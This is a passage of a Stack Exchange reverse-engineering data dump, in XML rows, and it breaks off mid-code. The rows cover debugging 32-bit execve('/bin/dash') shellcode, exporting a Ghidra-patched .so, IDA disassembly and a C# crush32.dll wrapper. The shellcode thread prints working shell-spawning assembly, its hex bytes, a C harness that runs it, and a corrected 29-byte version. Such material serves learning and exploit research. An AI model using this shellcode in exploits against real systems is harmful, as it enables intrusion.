  <row Id="21352" PostTypeId="1" AcceptedAnswerId="21358" CreationDate="2019-05-22T09:33:25.243" Score="3" ViewCount="1643" Body="&lt;p&gt;I want to execute &lt;code&gt;execve(&quot;/bin/dash&quot;, &amp;amp;&quot;/bin/dash&quot;, NULL)&lt;/code&gt; on Ubuntu 64 bit with the following 32 bit shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global _start&#xA;&#xA;_start:&#xA;    xor eax, eax ; set eax = 0 to push a null without using 0x0&#xA;    push eax ; eax = null pointer&#xA;&#xA;    mov edx, esp ; edx = null pointer&#xA;&#xA;    ; push '/bin/dash' into stack&#xA;    ; but length of string actually needs to be divisible by 4,&#xA;    ; otherwise there will be a 0x00 in the string, so:&#xA;    ; push null pointer first, then&#xA;    ; push '////bin/dash' into stack&#xA;    push eax ; eax = null pointer&#xA;    push 0x68736164&#xA;    push 0x2f6e6962&#xA;    push 0x2f2f2f2f&#xA;&#xA;    mov ebx, esp ; ebx = string pointer '////bin/dash'&#xA;    push ebx&#xA;    mov ecx, esp ; ecx = pointer to string pointer&#xA;    mov eax, 0xfffffff4 &#xA;    not eax ; eax = 0xb = pointer to execve&#xA;    int 0x80 ; interrupt system call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compile the assembler code with the following line and then extract the machine code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nasm -felf32 shellcode.asm -o x.o &amp;amp;&amp;amp; ld -m elf_i386 x.o -o shellcode&#xA;$ objdump -d shellcode -M intel -s&#xA;shellcode:     file format elf32-i386&#xA;&#xA;Contents of section .text:&#xA; 8048060 31c05089 e2506864 61736868 62696e2f  1.P..Phdashhbin/&#xA; 8048070 682f2f2f 2f89e353 89e1b8f4 fffffff7  h////..S........&#xA; 8048080 d0cd80                               ..P             &#xA;&#xA;Disassembly of section .text:&#xA;&#xA;08048060 &amp;lt;_start&amp;gt;:&#xA; 8048060:   31 c0                   xor    eax,eax&#xA; 8048062:   50                      push   eax&#xA; 8048063:   89 e2                   mov    edx,esp&#xA; 8048065:   50                      push   eax&#xA; 8048066:   68 64 61 73 68          push   0x68736164&#xA; 804806b:   68 62 69 6e 2f          push   0x2f6e6962&#xA; 8048070:   68 2f 2f 2f 2f          push   0x2f2f2f2f&#xA; 8048075:   89 e3                   mov    ebx,esp&#xA; 8048077:   53                      push   ebx&#xA; 8048078:   89 e1                   mov    ecx,esp&#xA; 804807a:   b8 f4 ff ff ff          mov    eax,0xfffffff4&#xA; 804807f:   f7 d0                   not    eax&#xA; 8048081:   cd 80                   int    0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I'm trying to execute my shellcode with this c file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;char *shellcode = &quot;\x31\xc0\x50\x89\xe2\x50\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x53\x89\xe1\xb8\xf4\xff\xff\xff\xf7\xd0\xcd\x80&quot;;&#xA;&#xA;int main()&#xA;{&#xA;    fprintf(stdout,&quot;Length: %d\n&quot;,strlen(shellcode));&#xA;    (*(void  (*)()) shellcode)();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I compile this file with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -m32 -fno-stack-protector test_shellcode.c -o test_shellcode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this leads to a segmentation fault.&#xA;I debugged my shellcode with gdb and it looks like my shellcode is working fine but the first line that uses the register &lt;code&gt;al&lt;/code&gt; or &lt;code&gt;ah&lt;/code&gt; leads to the segmentation fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix that?&lt;/p&gt;&#xA;" OwnerUserId="23618" LastEditorUserId="23618" LastEditDate="2019-05-23T20:09:58.370" LastActivityDate="2019-10-05T12:39:04.397" Title="x86 shellcode leads to segmentation fault" Tags="|assembly|c|shellcode|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21353" PostTypeId="1" CreationDate="2019-05-22T10:24:58.343" Score="2" ViewCount="931" Body="&lt;p&gt;I'm using ghidra to patch an *.so file in the Android APK.&#xA;While exporting the patched file from ghidra, using the &quot;Export program&quot; option from the &quot;File&quot; menu, it don't have *.so in the supported &quot;Format&quot;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;c/c++ will result in *.c file, &lt;/li&gt;&#xA;&lt;li&gt;binary will result in *.bin file. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I export to *.so file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6E3A9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6E3A9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might be a very silly question but it would be great if someone could give me any hints.&lt;/p&gt;&#xA;" OwnerUserId="4004" LastEditorUserId="4004" LastEditDate="2019-05-22T10:30:05.660" LastActivityDate="2019-05-22T10:30:05.660" Title="How to export to *.so file after patching in ghidra" Tags="|patching|apk|ghidra|shared-object|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21356" PostTypeId="1" CreationDate="2019-05-23T11:56:42.587" Score="1" ViewCount="210" Body="&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;    char buffer[50];&#xA;    int a = 10, b = 20, c;&#xA;    c = a + b;&#xA;    sprintf(buffer, &quot;Sum of %d and %d is %d&quot;, a, b, c);&#xA;&#xA;    // The string &quot;sum of 10 and 20 is 30&quot; is stored&#xA;    // into buffer instead of printing on stdout&#xA;    printf(&quot;%s&quot;, buffer);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How is this code disassembled by IDApro?&lt;/p&gt;&#xA;" OwnerUserId="28504" LastEditorUserId="13139" LastEditDate="2019-05-24T07:16:22.403" LastActivityDate="2019-05-24T07:16:22.403" Title="How is sprintf() identified by IDApro?" Tags="|ida|disassembly|" AnswerCount="0" CommentCount="2" ClosedDate="2019-05-28T09:40:54.017" ContentLicense="CC BY-SA 4.0" />
  <row Id="21357" PostTypeId="2" ParentId="17977" CreationDate="2019-05-23T13:43:14.080" Score="2" Body="&lt;pre&gt;&lt;code&gt;set logging file ~/pwndbg.log&#xA;set logging on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then run any command like &lt;code&gt;info functions&lt;/code&gt;&#xA;You will find the output in the file specified.&lt;/p&gt;&#xA;" OwnerUserId="28506" LastActivityDate="2019-05-23T13:43:14.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21358" PostTypeId="2" ParentId="21352" CreationDate="2019-05-23T20:08:57.710" Score="3" Body="&lt;h1&gt;Wrong Parameters&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I was able to solve my problem!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function &lt;a href=&quot;https://linux.die.net/man/2/execve&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;execve&lt;/code&gt;&lt;/a&gt; has the following definition: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int execve(const char *filename, char *const argv[], char *const envp[]);`&#xA;      ^                   ^                    ^                   ^&#xA;     eax                 ebx                  ecx                 edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the second parameter &lt;code&gt;argv&lt;/code&gt; is not just one pointer it's actually an array of (multiple) pointers. So &lt;code&gt;ecx&lt;/code&gt; needs to be null terminated but &lt;strong&gt;that wasn't the case in my code&lt;/strong&gt;. I also found out that &lt;code&gt;ecx&lt;/code&gt; doesn't need to point to the string &lt;code&gt;/bin/dash&lt;/code&gt; instead it can be set to null.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the parameters need to be set to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax = 0x0b&#xA;ebx = &quot;/bin/dash&quot;&#xA;ecx = 0x00&#xA;ecd = 0x00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Assembler&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;My working code with just &lt;strong&gt;29 bytes&lt;/strong&gt; now looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global _start&#xA;&#xA;_start:&#xA;    ; set eax = 0 without using 0x00&#xA;    xor eax, eax &#xA;    push eax ; terminating null string &amp;amp; reference for null pointer&#xA;&#xA;    ; set edc = pointer to null&#xA;    ; set edx = pointer to null&#xA;    mov ecx, esp&#xA;    mov edx, esp&#xA;&#xA;    ; push '////bin/dash' into the stack&#xA;    push 0x68736164&#xA;    push 0x2f6e6962&#xA;    push 0x2f2f2f2f&#xA;&#xA;    ; set ebx = string pointer to '////bin/dash'&#xA;    mov ebx, esp&#xA;&#xA;    ; set ecx = pointer to string pointer to '////bin/dash'&#xA;    push ebx&#xA;&#xA;    ; set eax = 0xb (function 'execve')&#xA;    mov al, 0xb&#xA;    int 0x80 ; interrupt system call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23618" LastActivityDate="2019-05-23T20:08:57.710" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21359" PostTypeId="1" CreationDate="2019-05-24T04:17:22.080" Score="2" ViewCount="328" Body="&lt;p&gt;I have some files *.bli, *.ilg, *.pix, etc. These files are from technical documentation LinkOne, and compressed with old C/Win32 compression library crush32.dll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;information can be found here &#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/20771/reverse-engineering-file-format-imagelink&quot;&gt;Reverse engineering file format - ImageLink&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found c# code to decompress it, but it is not working. What did I do wrong? I tried to read s001.bli, it`s ok, than from result gets &quot;true&quot; and that's all. decompressedPixelData is empty, with size 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run the code through Visual Studio 2012 on emulated Windows 7 X86 in VirtualBox. The crush32.dll library seems to work only with x86, although on win10 x64 the result is exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Files and dll&lt;/strong&gt;: &lt;a href=&quot;https://drive.google.com/file/d/1GipwXL9ikog1YVu46uqxLfuuY1Rk-5Pc/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1GipwXL9ikog1YVu46uqxLfuuY1Rk-5Pc/view&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using System;&#xA;using System.Collections.Generic;&#xA;using System.Runtime.InteropServices;&#xA;using System.Linq;&#xA;using System.Text;&#xA;using System.Threading.Tasks;&#xA;using System.IO;&#xA;&#xA;namespace Crush32Wrap&#xA;{&#xA;    public unsafe static class Crush32&#xA;    {&#xA;        #region Private PINVOKE signatures&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Name of legacy crush32.dll file (put it in same folder!)&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        public const string DLLName = &quot;crush32.dll&quot;;&#xA;        public const string FName = &quot;s001.bli&quot;;&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// The cxERROR for SUCCESS&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        private const short CX_SUCCESS = 0;&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Initializes the library&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;cxERROR statevalue&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxInit();&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Cleanup&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;cxERROR statevalue&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxCleanup();&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Initializes a buffer to buffer operation.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;cxERROR statevalue&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxBuf2BufInit();&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Closes a buffer to buffer operation&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;cxERROR statevalue&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxBuf2BufClose();&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Decrypts data in a buffer.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Buffer&quot;&amp;gt;A pointer to the data to be decrypted.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Length&quot;&amp;gt;How many bytes should be decrypted.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Challenge&quot;&amp;gt;The Challenge used to test your password first.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;ExpectedResponse&quot;&amp;gt;The ExpectedResponse matching your Challenge and your password.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;cxERROR statevalue&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxBufDecrypt(byte* Buffer, int Length, uint Challenge, uint ExpectedResponse);&#xA;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxBufDecrypt(IntPtr Buffer, int Length, uint Challenge, uint ExpectedResponse);&#xA;&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Encrypts data in a buffer.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Buffer&quot;&amp;gt;A pointer to the data to be encrypted.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Length&quot;&amp;gt;How many bytes should be encrypted.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Challenge&quot;&amp;gt;The Challenge used to create the returnvalue.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;The &quot;ExpectedResponse&quot; matching your given Challenge and your Password, use this in decryption later.&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern uint cxBufEncrypt(IntPtr Buffer, int Length, uint Challenge);&#xA;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern uint cxBufEncrypt(byte* Buffer, int Length, uint Challenge);&#xA;&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Sets a password for the encryption and decryption methods.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;PtrPasswordString&quot;&amp;gt;A pointer to the nullterminated passwordstring in memory.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;cxERROR statevalue&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxSetPassword(IntPtr PtrPasswordString);&#xA;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxSetPassword(byte* Password);&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Compresses the data from the InputBuffer to the OutputBuffer.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;InputBuffer&quot;&amp;gt;A pointer to read inputdata from.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;OutputBuffer&quot;&amp;gt;A pointer to write outputdata to.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;InputLength&quot;&amp;gt;How many bytes should be read from input buffer.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;The length of the compressed data.&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern int cxBuf2BufCompress(IntPtr InputBuffer, IntPtr OutputBuffer, int InputLength);&#xA;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern int cxBuf2BufCompress(byte* InputBuffer, byte* OutputBuffer, int InputLength);&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Decompresses the data from the InputBuffer to the OutputBuffer.&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;InputBuffer&quot;&amp;gt;A pointer to read inputdata from.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;OutputBuffer&quot;&amp;gt;A pointer to write outputdata to.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;DecompressedLength&quot;&amp;gt;The length of the data in decompressed state.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;CompressedLength&quot;&amp;gt;The length of the data in compressed state.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;cxERROR statevalue&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxBuf2BufExpand(IntPtr InputBuffer, IntPtr OutputBuffer, int DecompressedLength, int CompressedLength);&#xA;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        private static extern short cxBuf2BufExpand(byte* InputBuffer, byte* OutputBuffer, int DecompressedLength, int CompressedLength);&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Creates a CRC32 for the data in the Buffer.&#xA;        /// Note: The used algorithm is equal to&#xA;        /// http://damieng.com/blog/2006/08/08/calculating_crc32_in_c_and_net&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Buffer&quot;&amp;gt;A pointer to read the data to CRC.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Length&quot;&amp;gt;How many bytes should be read from pointer.&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;The created CRC32&amp;lt;/returns&amp;gt;&#xA;        [DllImport(DLLName, CharSet = CharSet.Unicode, SetLastError = true, CallingConvention = CallingConvention.StdCall)]&#xA;        public static extern uint cxBufCRC32(IntPtr Buffer, int Length);&#xA;&#xA;        #endregion&#xA;        #region Public Wrappers&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Fast decompresses data from managed sourcebuffer to managed targetbuffer using pointers&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceBuffer&quot;&amp;gt;SourceBuffer containing compressed data&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceIndex&quot;&amp;gt;Cursor in SourceBuffer to start reading&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;TargetBuffer&quot;&amp;gt;TargetBuffer for decompressed data&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;TargetIndex&quot;&amp;gt;Cursor in TargetBuffer to start writing&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;UncompressedLength&quot;&amp;gt;Uncompressed data length&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;CompressedLength&quot;&amp;gt;Compressed data length&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;True if the operation was successful.&amp;lt;/returns&amp;gt;&#xA;        public static bool Decompress(byte[] SourceBuffer, int SourceIndex, byte[] TargetBuffer, int TargetIndex, int UncompressedLength, int CompressedLength)&#xA;        {&#xA;            bool isSuccessful = false;&#xA;&#xA;            // init crush32&#xA;            if (Crush32.CX_SUCCESS == Crush32.cxInit())&#xA;            {&#xA;                if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufInit())&#xA;                {&#xA;                    // pin the managed source &amp;amp; targetbuffers in memory so crush32 can access them&#xA;                    // and we can directly use them without marshaling.&#xA;                    fixed (byte* ptrSourceBuffer = SourceBuffer, ptrTargetBuffer = TargetBuffer)&#xA;                    {&#xA;                        // add the offsets to the pointers (they still point to the beginning of the buffer)&#xA;                        byte* ptrSourceIndex = ptrSourceBuffer + SourceIndex;&#xA;                        byte* ptrTargetIndex = ptrTargetBuffer + TargetIndex;&#xA;&#xA;                        if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufExpand(ptrSourceIndex, ptrTargetIndex, UncompressedLength, CompressedLength))&#xA;                            isSuccessful = true;&#xA;&#xA;                    }&#xA;&#xA;&#xA;&#xA;                    Crush32.cxBuf2BufClose();&#xA;                }&#xA;&#xA;                Crush32.cxCleanup();&#xA;            }&#xA;&#xA;            return isSuccessful;&#xA;        }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Fast compresses data from managed sourcebuffer to managed targetbuffer using pointers&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceBuffer&quot;&amp;gt;SourceBuffer containing data to be compressed&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceIndex&quot;&amp;gt;Cursor in SourceBuffer to start reading&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;TargetBuffer&quot;&amp;gt;TargetBuffer for compressed data&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;TargetIndex&quot;&amp;gt;Cursor in TargetBuffer to start writing&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;UncompressedLength&quot;&amp;gt;Uncompressed data length in SourceBuffer&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;Compressed length&amp;lt;/returns&amp;gt;&#xA;        public static int Compress(byte[] SourceBuffer, int SourceIndex, byte[] TargetBuffer, int TargetIndex, int UncompressedLength)&#xA;        {&#xA;            int compressedLength = 0;&#xA;&#xA;            // init crush32&#xA;            if (Crush32.CX_SUCCESS == Crush32.cxInit())&#xA;            {&#xA;                if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufInit())&#xA;                {&#xA;                    // pin the managed source &amp;amp; targetbuffers in memory so crush32 can access them&#xA;                    // and we can directly use them without marshaling.&#xA;                    fixed (byte* ptrSourceBuffer = SourceBuffer, ptrTargetBuffer = TargetBuffer)&#xA;                    {&#xA;                        // add the offsets to the pointers (they still point to the beginning of the buffer)&#xA;                        byte* ptrSourceIndex = ptrSourceBuffer + SourceIndex;&#xA;                        byte* ptrTargetIndex = ptrTargetBuffer + TargetIndex;&#xA;&#xA;                        // compress&#xA;                        compressedLength = Crush32.cxBuf2BufCompress(ptrSourceIndex, ptrTargetIndex, UncompressedLength);&#xA;                    }&#xA;&#xA;                    Crush32.cxBuf2BufClose();&#xA;                }&#xA;&#xA;                Crush32.cxCleanup();&#xA;            }&#xA;&#xA;            return compressedLength;&#xA;        }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Fast decrypt data in managed buffer using pointer&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceBuffer&quot;&amp;gt;SourceBuffer containing encrypted data&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceIndex&quot;&amp;gt;Cursor in SourceBuffer to start reading&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Length&quot;&amp;gt;Encrypted data length&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Challenge&quot;&amp;gt;Challenge to use&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;ExpectedResponse&quot;&amp;gt;ExpectedRespone to use&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Password&quot;&amp;gt;Password to use&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;True if the operation was successful.&amp;lt;/returns&amp;gt;&#xA;        public static bool Decrypt(byte[] SourceBuffer, int SourceIndex, int Length, uint Challenge, uint ExpectedResponse, byte[] Password)&#xA;        {&#xA;            bool isSuccessful = false;&#xA;&#xA;            // pin the managed sourcebuffer in memory so crush32 can access&#xA;            // and we can directly use without marshaling.&#xA;            fixed (byte* ptrSourceBuffer = SourceBuffer)&#xA;            {&#xA;                // add the offsets to the pointers (they still point to the beginning of the buffer)&#xA;                byte* ptrSourceIndex = ptrSourceBuffer + SourceIndex;&#xA;                isSuccessful = Decrypt(ptrSourceIndex, Length, Challenge, ExpectedResponse, Password);&#xA;            }&#xA;&#xA;            return isSuccessful;&#xA;        }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// &#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceBuffer&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Length&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Challenge&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;ExpectedREsponse&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Password&quot;&amp;gt;&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;&#xA;        public static unsafe bool Decrypt(byte* SourceBuffer, int Length, uint Challenge, uint ExpectedResponse, byte[] Password)&#xA;        {&#xA;            bool isSuccessful = false;&#xA;&#xA;            // init crush32&#xA;            if (Crush32.CX_SUCCESS == Crush32.cxInit())&#xA;            {&#xA;                if (Crush32.CX_SUCCESS == Crush32.cxBuf2BufInit())&#xA;                {&#xA;                    // pin the managed sourcebuffer in memory so crush32 can access&#xA;                    // and we can directly use without marshaling.&#xA;                    fixed (byte* ptrPassword = Password)&#xA;                    {&#xA;                        // set password &amp;amp;&amp;amp; decrypt&#xA;                        if (Crush32.CX_SUCCESS == Crush32.cxSetPassword(ptrPassword))&#xA;                            if (Crush32.CX_SUCCESS == Crush32.cxBufDecrypt(SourceBuffer, Length, Challenge, ExpectedResponse))&#xA;                                isSuccessful = true;&#xA;                    }&#xA;&#xA;                    Crush32.cxBuf2BufClose();&#xA;                }&#xA;&#xA;                Crush32.cxCleanup();&#xA;            }&#xA;&#xA;            return isSuccessful;&#xA;        }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Fast encrypt data in managed buffer using pointer&#xA;        /// &amp;lt;/summary&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceBuffer&quot;&amp;gt;SourceBuffer containing data to be encrypted&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;SourceIndex&quot;&amp;gt;Cursor in SourceBuffer to start reading&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Length&quot;&amp;gt;Length of data to be encrypted&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Challenge&quot;&amp;gt;Challenge to use&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;param name=&quot;Password&quot;&amp;gt;Password to use&amp;lt;/param&amp;gt;&#xA;        /// &amp;lt;returns&amp;gt;ExpectedResponse for Challenge/Password combination.&amp;lt;/returns&amp;gt;&#xA;        public static uint Encrypt(byte[] SourceBuffer, int SourceIndex, int Length, uint Challenge, byte[] Password)&#xA;        {&#xA;            uint expectedResponse = 0;&#xA;&#xA;            // pin the managed sourcebuffer in memory so crush32 can access&#xA;            // and we can directly use without marshaling.&#xA;            fixed (byte* ptrSourceBuffer = SourceBuffer, ptrPassword = Password)&#xA;            {&#xA;                // add the offsets to the pointers (they still point to the beginning of the buffer)&#xA;                byte* ptrSourceIndex = ptrSourceBuffer + SourceIndex;&#xA;                expectedResponse = Encrypt(ptrSourceIndex, Length, Challenge, Password);&#xA;            }&#xA;&#xA;            return expectedResponse;&#xA;        }&#xA;&#xA;        /// &amp;lt;summary&amp;gt;&#xA;        /// Fast encrypt data on unmanaged pointer&#xA;        /// 